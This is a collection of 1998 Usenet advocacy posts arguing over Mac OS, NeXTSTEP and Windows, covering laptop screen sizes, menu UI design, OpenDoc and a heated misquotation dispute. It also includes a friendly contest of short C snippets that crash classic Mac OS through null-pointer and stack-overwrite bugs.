> the ones that take normal stories and distort the truths for monetary gain.
What monetary gain is involved? I'd like to get some of that money.
And how did I distort any truth.
John Kheit says that "scum use lawyers" and goes on to qualify that
slightly, but with no change in the meaning.
In a separate thread (and by e-mail) John Kheit threatened to sue me.
It seems perfectly reasonable to put those two threads together.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: asiufy@uol.com.br (Alexandre A. S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 04 Aug 1998 12:02:56 -0300
Organization: Oi!
Message-ID: <asiufy-0408981203190001@200.229.243.132>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net> <id_est-0308982052240001@192.168.1.3>
Mail-Copies-To: asiufy@uol.com.br
r9;SSdvI;]1VVf
In article <id_est-0308982052240001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> In article <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>,
> ckoller@worldnet.att.net (Craig Koller) wrote:
>
> > ...oh, and there's no Wintel Fudsters in this forum? Just a bunch of
> > "objective" people? If so, I'd love to hear a little more fair, objective
> > acknowledgements of where Wintel fails. Funny, we don't get much a'that
> > round these parts from the "objective" folk.
>
>
> OK, here's one. Today I restarted an NT box. I had wanted to test some RAM
> out in it. It ended up with the same RAM that it started out with. It
> went to the Blue Startup Screen and then announced that the OLE32.dll file
> may be corrupted, the header checksum didn't match the calculated one and
> it stopped. Nothing changed in the configuration (there is still only the
> orginal configuration listed), nothing was installed or removed. It was
> just restarted. Now it would be nice to know what exactly to do in a
> situation like this apart from reinstall Windows NT. Replacing the file
> with the orginal isn't possible as the machine can't even startup. The
> disks are formatted with NTFS so you can't just use a DOS disk as it
> doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
> "emergency" disk was damaged somehow as floppies somehow seem to be. So
> apart from reinstalling the whole damn thing what does one do in a
> situation like this.
Cry... After that, kick yourself for having bad emergency disks...
And third, go out and buy a Mac.
--
---
ciao!
asiufy@uol.com.br
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 04 Aug 1998 11:01:43 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C73067.A4DD33DA@ericsson.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net>
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Joe Ragosta wrote:
> John Kheit says that "scum use lawyers" and goes on to qualify that
> slightly, but with no change in the meaning.
>
> In a separate thread (and by e-mail) John Kheit threatened to sue me.
>
> It seems perfectly reasonable to put those two threads together.
You'll certainly get your chance to put them together if John ever sues
you, since you'll be required to hire counsel yourself.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 1 Aug 1998 20:15:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pvt0r$iqi$2@news.spacelab.net>
References: <6pspgb$ecf$1@news.spacelab.net> <B1E7AC90-67FF1@206.165.43.145>
"Lawson English" <english@primenet.com> wrote:
>Charles W. Swiger <chuck@codefab.com> said:
>>> Bento was originally meant to be available for LOTS of purposes.
>>
>>The key word there is "originally".
>>
>>I stand by my point-- if I put ASCII text into a fancy storage system, I
>> wanna be able to edit it with whatever plain old ASCII editor I wish.
>> Ditto for Word documents, or TIFF's, or anything else.
>
>Hmmm...
>
>You can edit a Word 6.1 document with a text-editor without first saving it
>as ASCII or RTF?
No, but I can edit a Word 6.1 document in Word 6.1, which was where I created
the original.
>Oh, you mean *export* to a plain-text document. That's the responsibility
>of the individual parts, not OpenDoc.
No, I said what I meant.
OpenDoc as a CDA should have, by design, allowed for files to be exported out
of OpenDoc in the same format they went in as. Regardless of the type of the
original document, regardless of the implementation of individual parts.
>>>For instance, if I select a graphic in a web-page and move it to another
>>>position in the web-page, does HTML allow one to do this AND to edit its
>>>content in the new position?
>>
>> You're changing the changing the point from the original issue. But the
>> answer is yes, because the position in a web-page is loosely bound to
>> the storage location of that image on a filesystem.
>>
>
>So, if I, as an end-user, go to a web-site and move a graphic around the
>web-page on my machine, the graphic will embed itself in the new place in
>the live web-page?
Of course. An IMG tag can be moved from one place to another place in the
HTML document without changing the original file and "embed" itself in the
new location just fine.
>Kool. I guess I've been using the wrong web-browsers since it has never
>worked with any that I've tried it with...
Doubtful. This works with any web browser. I suspect you're trying to
address some other point, though.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 1 Aug 1998 20:07:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pvshr$iqi$1@news.spacelab.net>
macghod@concentric.net (Steve Sullivan) wrote:
>In article <geh-3107981123110001@odo.safe.internal>, geh@safe.com (Graeme
>Hiebert) wrote:
>> And any upgrade to the 386 short of replacing the motherboard and
>> processor -- the equivalent of putting a whole new computer into an old
>> case -- will not run NT 5.0, which will be much more comparable to MacOS X
>> than will be Win95 (which, by the way, is no longer a current Microsoft
>> product.)
>
>Thats whats so great about pc's, Go to Frys and pick up a motherboard with
>a p2 300 for what, $300, and for $300 you have just upgraded your 386 to a
>p2 300.
Umm, you're forgetting several minor details. Like, for instance, your 386
memory (30-pin SIMM's, likely-- but possibly even socket'ed DIP chips) isn't
going to work in a Slot 1 MB.
Also, that ol' power supply probably doesn't have the right connector,
adequate wattage, or voltages. Remember that a PII MB wants a 3.3V source
for the memory, and possibly regulated down to 2.9V or 2.7V for the PII core.
And what about that ISA or VLB video card and the other ISA expansion cards
(if you're lucky, or maybe you have Microchannel), which aren't going to be
too happy?
PC's are much more less expensive to upgrade, but you're not going to take a
386 machine, spend $300, and get something that'll compete with a G3 Mac.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Date: 4 Aug 1998 16:15:30 GMT
Organization: University of Maryland, College Park
Message-ID: <6q7c32$9ut$1@hecate.umd.edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com>
Bill Moyer (billm@cygnus.com) wrote:
: In article <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> macghod@concentric.net (Steve Sullivan) writes:
: >
: >You take that dog of a os windows out of the equation, and the p2 will be
: >dramatically improved. And different os's would change the result of the
: >mac side.
: >
: >I believe a g3 300 and a p2 400 are about the same speed. If I saw a test
: >where the two were compared using 15 photoshop filters, I would be more
: >inclined to take that number (and no 4 photoshop actions does not cut it)
: >BUT someone pointed me out to a mathematica benchmark, and the p2 400
: >running linux POUNDED THE LIVING CRAP OUT OF THE G3 300. It was something
: >like %30 faster.
: If you eschew with Windows, then what's the point in using
: an Intel processor at all? Alphas are faster and cheaper, and
: will run Linux like gangbusters.
Probably the flexibility. You can still run Windows, Linux, Openstep,
Solaris ..... There's some advantage in that.
: If you're going to compare a processor against a P2, you'd
: might as well assume that the P2 is running Windows. The only
: people who *need* a P2 are those who are locked into Microsoft's
: trap.
: -- TTK
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 09:11:42 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0408980911420001@news>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R3107981506300001@news> <6pti1s$4pj$4@cronkite.cygnus.com> <andyba-ya02408000R0308981203180001@news> <6q5dvp$p74$1@lwnws01.ne.highway1.com>
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In article <6q5dvp$p74$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> > And yes, I could get around this by just using a click-hold to select the
> > menu, and a release to invoke it, but that would be forcing me to limit my
> > interface with the menu system to account for having buttons on the top
> > level. In my opinion, the limitation is not worth the benefit.
>
> Yes. However, I think the abilith to limit you from whipping, clicking for
> no real purpose just to randomly release, for most people is not a valued
> function. For most people, the whip is to get up there, and they actually
> are targeting something they want to get into.
Yes, that's true. The random click-release does seem more unlikely.
> *If* few people actually do that, and many people would benefit from
> the short top level root menu access, then it's a net win overall--i.e. what
> I believe is the likely case. As always, I reserve my right to be 100%
> wrong.
I still believe that quick access to certain commands would be better
served by a toolbar or command-key shortcuts, but that's just me.
Andy Bates.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 17:32:20 GMT
Organization: Primenet (602)416-7000
Message-ID: <6q7gj4$pd2$1@nnrp02.primenet.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com>
Kari L Beischer <kari@gti.net> wrote:
: joe.ragosta@dol.net (Joe Ragosta) wrote:
: > In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
: > wrote:
: > > Gosh, all these good people that hate using lawyers, yet they
: > > are still used. Hmmm, I wonder why? Why? Because scum use
: > > lawyers,
: > Hmmm. Strong words from someone who publicly threatens to sue
: > people on Usenet.
: Ah ha! I finally figured out what your posts remind me of.... you
: know, those rag sheets like the Nat'l Inquirer and the Star that
: always line the aisles at the checkout in the supermarkets?... yes
: the ones that take normal stories and distort the truths for monetary gain.
People who post too much
become parodies of themselves
John
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 17:09:24 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6q7f84$3b0$1@supernews.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6q77g6$sme$1@supernews.com>, kari@gti.net wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>,
> > > jkheit@mediaone.net wrote:
> >
> > > > Gosh, all these good people that hate using lawyers, yet
> > > > they are still used. Hmmm, I wonder why? Why? Because
> > > > scum use lawyers,
> >
> > > Hmmm. Strong words from someone who publicly threatens to
> > > sue people on Usenet.
> >
> > Ah ha! I finally figured out what your posts remind me of....
> > you know, those rag sheets like the Nat'l Inquirer and the Star
> > that always line the aisles at the checkout in the supermarkets?...
> > yes the ones that take normal stories and distort the truths
> > for monetary gain.
> What monetary gain is involved? I'd like to get some of that
> money.
No, I said that I could not figure out your angle. Implying that
money was not involved.
> And how did I distort any truth.
I think the way you chop others quotes, may help your point, but
may distort another readers view point who did not read the original
post. Personally, I loathe having to go back a find an older post to
understand someones point of view fully.
By quoting just the following:
> John Kheit says that "scum use lawyers" and goes on to qualify
> that slightly, but with no change in the meaning.
You imply something entirely different than his origional intention.
Since you failed to mention he also said that good folk use lawyers,
because scum use lawyers.
> In a separate thread (and by e-mail) John Kheit threatened to
> sue me.
I remember the thread very well, and according to his rights under
the law, he could. It is dangerous to implicitly say that someone
'says' something if you cannot prove it, and happen to be incorrect.
Hence a violation of his rights.
Although many of us may be ignorant of the laws and what they
translate to, ignorance is still not an acceptable defense in the
courtroom. If John could prove his case, you could be found guilty,
whether or not you were conscience of the implications of what you
wrote and how it was phrased, when you wrote it. Plain and simple.
> It seems perfectly reasonable to put those two threads together.
Yes, it is reasonable.. but a suggestion... when reading a post of
John's.. look at the intent of what he is saying. Taking John's
postings verbatim, you are probably missing the point.
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 10:16:15 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0408981016150001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <andyba-ya02408000R0308981146500001@news> <6q5fgr$q83$2@lwnws01.ne.highway1.com>
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In article <6q5fgr$q83$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> > In article <6pt4vl$5sv$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> > > And once again you're wrong. I *am* complaining that a UI
> > > designed to work well on a 640X480 resolution will not scale
> > > well, nor work as well as a UI designed to work at 1024X768 on
> > > up.
> >
> > No, in that specific posting, you were complaining that a 9"
> > screen would be a "crap laptop." You said nothing about the UI
>
> EXACTLY. BINGO. A 9" SCREEN WOULD MAKE A CRAP LAPTOP. YES SIR. YOU WIN A
> CIGAR. Jeezus.
John, you wear me out. First you complain about the screen size, then I
make an argument about the screen size, then you say, "No, you don't get
it. I'm complaining about the UI!", then I say, "No, you were complaining
about the screen size," then you say, "EXACTLY." Don't you see that you're
switching arguments in mid-thread?
> > Semantics. A device with a 9" screen could still be held in your
> > hand, and still be a palmtop.
>
> Maybe to you. But I've seen people that can hold a motorcycle inthe palm of
> their hand, that doesn't make it portable. In my opinion, once you get a
> screen that big, you're dealing with a laptop. And a laptop with a 9" screen
> would suck, IMO.
What if you could get a laptop with a 9" screen for $10? Then would it
suck, or would it be a great bargain? My point is, you can't say that a
laptop with a 9" screen would suck until you know what price it's being
offered at. If you think Apple should provide a laptop with a larger
screen: surprise! They already are! They have 12.1, 13.1 and 14.1" screens,
and they're all very nice. However, the price is a little high for some
people. Now they're planning on offering a cheaper laptop with a 9" screen.
Well, if it costs $50, it's a great deal. If it costs $3000, it sucks. But
you can't say, unequivocally, that a laptop with a 9" screen would suck. It
just may be worth it for the price.
Personally, I don't have a laptop, but if I could get a laptop with a 9"
screen for the right price, I'd jump at the chance.
> > Nevertheless, a stock 911 would be a great sports car for a lot
> > of people. But by your logic, since it would be a crappy race
> > car, it must be a crappy machine.
>
> No, it would be a CRAPPY RACE CAR. That's exactly what I said. Your
> inability to comprehend that I mean what I say is freakn amazing. It would
> suck as a RACE CAR. So can you see the natural consequence of this. No?
>sigh< Then let me spell out for you what I'm saying:
Porsche is producing a new 911. According to the specs, it would make a
poor race car. So you say, "I can't believe Porsche is offering that 911.
It would make a crap race car. That's pathetic." However, some people want
to buy the 911 and use it as a SPORTS car. For them, the performance is
great for the price. Therefore, it is GOOD that Porsche is making that car,
because it is a useful car for THEM.
Apple is making a new portable. According to the specs, it would make a
"crap laptop." So you say, "I can't believe Apple is making a laptop with a
9" screen. That's pathetic." However, some people want to buy the new
portable and use it as a CHEAP laptop. For them, the performance is great
for the price. Therefore, it is GOOD that Apple is making that portable,
because it is a useful car for THEM.
> I'll spell it out then. Similarly, a UI, that would work well, even for most
> people, as a palmtop (on a 640X480 resolution screen or smaller) would limit
> and inhibit a desktop UI would would be substantially larger. IT WOULD SUCK
> AS A DESKTOP UI IN COMPARISON,
Nevertheless, you have admitted that the current Mac OS UI DOES scale well
to smaller screens, so it would still be usable.
You are talking about the UI of this new machine "sucking," but for some
people, it's the only option! If they can't afford a G3 PowerBook, then
even a cheap laptop with a 9" screen is better than having nothing. But
you'd rather have Apple NOT produce a machine with a 9" screen. In other
words, you're deciding for everyone else that it's better to have nothing
than to have a laptop with a small screen. I disagree, and so do many many
other people.
> > In other words, just because you think that a device with a 9"
> > screen would be a "crap laptop," that doesn't mean that a lot of
> > other people wouldn't benefit from having one, and find it well
> > worth the price.
>
> That's about right. I think anyone that releases a laptop with a 9" screen
> deserves what they get (remember this from the first post). I BELIEVE a
> laptop with a 9" screen sux maggot dung.
...when compared to a desktop machine. However, when compared to having NO
LAPTOP AT ALL, it's great! Get it?
> I think limiting a desktop UI to
> one designed to work well on a 640X480 display (or smaller) is a dip shit
> strategic decision. Those are my opinions. If YMMV, fine.
And no one has said that this will happen. Themes, for one thing, allow UI
elements to be changed. Let's see what Apple comes up with in this regard.
Andy Bates.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 4 Aug 1998 11:15:01 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q7jkq$g7n$1@plo.sierra.com>
References: <35C71113.5BEC@bellatlantic.net>
NNTP-Posting-Date: 4 Aug 1998 18:24:26 GMT
Jeffrey S. Dutky wrote in message <35C71113.5BEC@bellatlantic.net>...
I like your new subject line.
>Try again. When compiled under Metrowerks Codewarrior Pro 3
>the resulting App quits silently. No matter how many times
>it is run, the MacOS does NOT crash. You should at least try
>your code examples before crowing about how easy it was to
>accomplish. Tsk, tsk. Or did you try this on Windows and just
>figure that it would lock up the MacOS just as easily?
Hmm, you're right. It doesn't crash. I was a little quick to post. I wonder
what is being trashed, though. Ok, here's the modified code that does crash
MacOS:
strcpy((char*)0, "I'm sorry that the previous string wasn't quite long
enough to crash MacOS, but this one is.");
>A better crash-app would be one that allocates an array on
>the stack, then writes data off the ends of the array. Oh, but
>this would kill Windows just as easily as it would the Mac, and
>we CAN'T have THAT!
Actually, no, that won't kill Windows, just Mac. Here's an example.
int i;
int *p;
i = 0;
p = &i;
while (1)
{
*p = 0;
++p;
}
Here's the latest tally:
Writing to a null pointer Windows-OK, MacOS-NotOK
Overwriting the stack Windows-OK, MacOS-NotOK
I'm still waiting for someone to post some code that will crash even Win95,
not to mention WinNT.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 04 Aug 1998 13:18:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C7505B.9EECD8CF@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Earl Malmrose wrote:
> Naive, Don. Its an example of a class of bugs that nearly all shipping
> products have.
"Nearly" all? It would be difficult, indeed, to find an app that did not
have the potential of causing segmentation faults. To say that the
probability of finding a problem app is zero is just about the last
thing I'd expect to hear from a developer, let alone a MacOS developer.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 18:28:33 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q7jsh$csm$1@lwnws01.ne.highway1.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> John Kheit says that "scum use lawyers" and goes on to qualify
> that slightly, but with no change in the meaning.
So, first things first, you do admit to taking it out of context.
Good. Now on to your braindamaged mind which is seemingly incapable of
comprehending the english language, or purposfully distorting, which has
created this notion that you haven't changed the meaning. I made a qualified
statement. The qualification was meaningful, that's why it was
put there. You snipping something out of context just shows you
for the little manipulative maggot you are. Thankfully it's in
black and white, so in this case actually does more damage to
you; and to that I say GOOD, you deserve it. The original statement,
in context, for the record was:
I said earlier:
>Well with this new threat, I don't know how lawyers will sleep at
>night; other than comfortably that is. Goodness, yet another good
>person that doesn't like lawyers, something new under the sun.
>Gee, with all these honest saints that *hire* lawyers to do things,
>and all these poor saints that never do any wrong on the other
>end of the suit, it makes you wonder. Gosh, all these good people
>that hate using lawyers, yet they are still used. Hmmm, I wonder
>why? Why? Because scum use lawyers, just as likely, maybe even
>moreso, than good folk. Lawyers, guns, same difference; it depends
>on who uses them and why.
You claiming I mereley said that "scum use lawyers" is, YET AGAIN,
misrepresenting what I said. In your twit notion of wit, you seemed
to imply that since only scum use lawyers, and I was threatening
to sue, that I must be self admitted scum. Your idiot attempts to
slam me don't concern me in the least, because I view you as a
twit, and at most it's ammusing. What bugs me is the implication that
I think only scum use lawyers, which I don't. And my statement
makes clear: "Because scum use lawyers, just as likely, maybe even
moreso, than good folk." That statement leaves plenty of room for
plenty of good people to use lawyers. And I certainly believe that
to be the case. It's a mixed bag, and I think the "likely" case
is that good people are just as likely to use lawyers as bad people.
Your continued, persistent, and repeated attempts to mischaracterize
my statements are characterizing you, rather clearly IMO.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
References: <6q2t8c$br7$1@news.onramp.net> <1998080301481400.VAA13621@ladder01.news.aol.com> <6q3952$gcg$1@msunews.cl.msu.edu>
From: rousseau@snowcap.net (Michael Rousseau)
Message-ID: <35c753bc.0@news.gj.net>
Date: 4 Aug 1998 12:32:28 -0700
My $.02:
I started on Macs in 1985 with a 512. I was in Mac user groups and academic admin through college, and
worked doing Mac systems consulting after college. I still have a great bulletproof IIci running 7.5.5 on
an 040 card. Of course, I write this message in Alexandra on a black Cube.
Why? I was lucky enough to land a NeXT/SunOS SysAdmin job about five years ago. The NeXT (NEXTSTEP)
was/is like the MacOS on steroids, or grown up, if that isn't flame bait. I knew the Mac UI inside and out,
and I loved the fact that my command keys all worked seamlessly when I sat at a slab or one of the _new_
486's with 3.1. How many experienced Mac users contiinue to use menus instead of command equivalents
anyway? And having a progammable UN*X shell? NEXTSTEP (and Rhapsody, OS X, whatever) is the evolution of
something (Mac OS) tired and really non-optimal.
I see the Mac OS as a VW Bug: user servicable, capable of being tweaked for performance a bit, but not
really fast and not really extensible or remotely controllable.
NEXTSTEP's Mach kernel and POSIX-compliancy, open platform, multi-architecture nature is like a corporate
jet in comparison. It is solid, stable, and buit to standards never imagined when the Mac was born. The
UI is MUCH more sensible (IMNSHO), and if you do any network administration, you know "It's NetInfo,
Stupid!" I'm mad e mildly queasy by the Macification of NEXTSTEP, but I am glad to see the platform live
on. it is NetInfo that I would cound the biggest crime to lose. NetInfo and the fully object-oriented OS,
that made distributed processing possible ten years ago; these are the things we cannot afford to lose.
Networking NT is a joke compared to NEXTSTEP/OpenStep. By using NS, we lived in the bright beautiful future
world of seamless heterogeneous interoperability. Microsoft's vision of their future on the enterprise
network make me think of the bleakness of "Blade Runner" and "Alien."
OK, I've ranted long enough. To summarize, I loved the Mac until NEXTSTEP showed me it's evolutionary
incarnation. I'll never go back. I'll rebuild this cube and my Sparc with OS4.2 forever if that is what
it takes.
Mike
spammers@ruin.the.internet.channelu.com wrote:
>In <1998080301481400.VAA13621@ladder01.news.aol.com> WillAdams wrote:
>> Yes, but the Mac OS UI is being reengineered on NeXT's foundations,
>so the
>> underlying software construct is that of a menu palette composed of
>butons.
>>
>> We "NeXTians" are kind of tired of you Mac users having co-opted a
>system which
>> we were quite happy with, and insisting on its perversion/debasement
>to the
>> lowest common denominator.
>>
>> The NeXT menu is much simpler and more consistent than the
>Mac--explain a
>> button, and users understand how the menu works--how much verbiage is
>necessary
>> to explain the Mac menu?
>>
>> If the Mac UI doesn't grow beyond its current form, it's doomed to
>being a
>> small, marginalized thing.
>>
>
>I agree. Previous MacOS users very easily got used to the NeXT way
>of doing things. And in fact even preferred the NeXT GUI to the Mac
>one once they became accustomed to it. Which took no longer than
>1-2 days. One thing people had problems with was the idea of
>being a user vs. machine owner (i.e. root) - but since most of the
>Mac Users wern't also skilled admins they were happy to have
>others deal with the machine in that capacity.
>
>I am extremely suprised that Mac Users would favor the Mac GUI
>over the NeXT one. But then again some people just don't like
>to try/learn anything new and complain with the least provocation.
>
>A simple preference button for Mac vs. NeXT GUI would have
>been a preferred solution. Apple could have even made a provision
>for other custom selections that would allow for new methods,
>and hybridization.
>
>Maybe this is all there. I havn't seen DR2 and havn't played with
>DR1 enough to know what will happen with this.
>
>Randy
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com>
Message-ID: <35c75454.0@news.depaul.edu>
Date: 4 Aug 98 18:35:00 GMT
In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> I'm still waiting for someone to post some code that will crash even Win95,
> not to mention WinNT.
I would, but Microsoft would probably frown on someone posting
NT itself. ;^)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: grice@panamsat.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 04 Aug 1998 18:42:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q7kmh$bro$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net>
In article <35C71113.5BEC@bellatlantic.net>,
dutky@bellatlantic.net wrote:
> Earl Malmrose wrote:
> >
> > Ok, now a contest. I'll come up with a stupid thing for
> > a programmer to do that will crash MacOS. You come up
> > with one for, I'll be generous, Win95. Ready, go.
> >
> > strcpy((char *)0, "I win the contest, boy was that extremely
> > easy to do.");
> >
>
> Try again. When compiled under Metrowerks Codewarrior Pro 3
> the resulting App quits silently. No matter how many times
> it is run, the MacOS does NOT crash. You should at least try
> your code examples before crowing about how easy it was to
> accomplish. Tsk, tsk. Or did you try this on Windows and just
> figure that it would lock up the MacOS just as easily?
>
> I'm a little suprised that the app quit SILENTLY, normally
> the finder likes to inform you that "Application such-and-such
> has quit unexpectedly, blah, blah, blah..." when a program
> does some such bone headed thing. I suspect that the Metrowerks
> standard library implementation of strcpy() checks for NULL
> pointer arguments and kills the offending app when it finds
> them, which might qualify as a "normal exit" to MacOS.
>
> A better crash-app would be one that allocates an array on
> the stack, then writes data off the ends of the array. Oh, but
> this would kill Windows just as easily as it would the Mac, and
> we CAN'T have THAT!
>
> - Jeff Dutky
Actually if all you have in the app is:
void main ()
{
strcpy((char *)0);
}
the app will fail silently since the toolbox was never initialized. You need
that to happen before ANYTHING useful comes out of it.
Gary
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
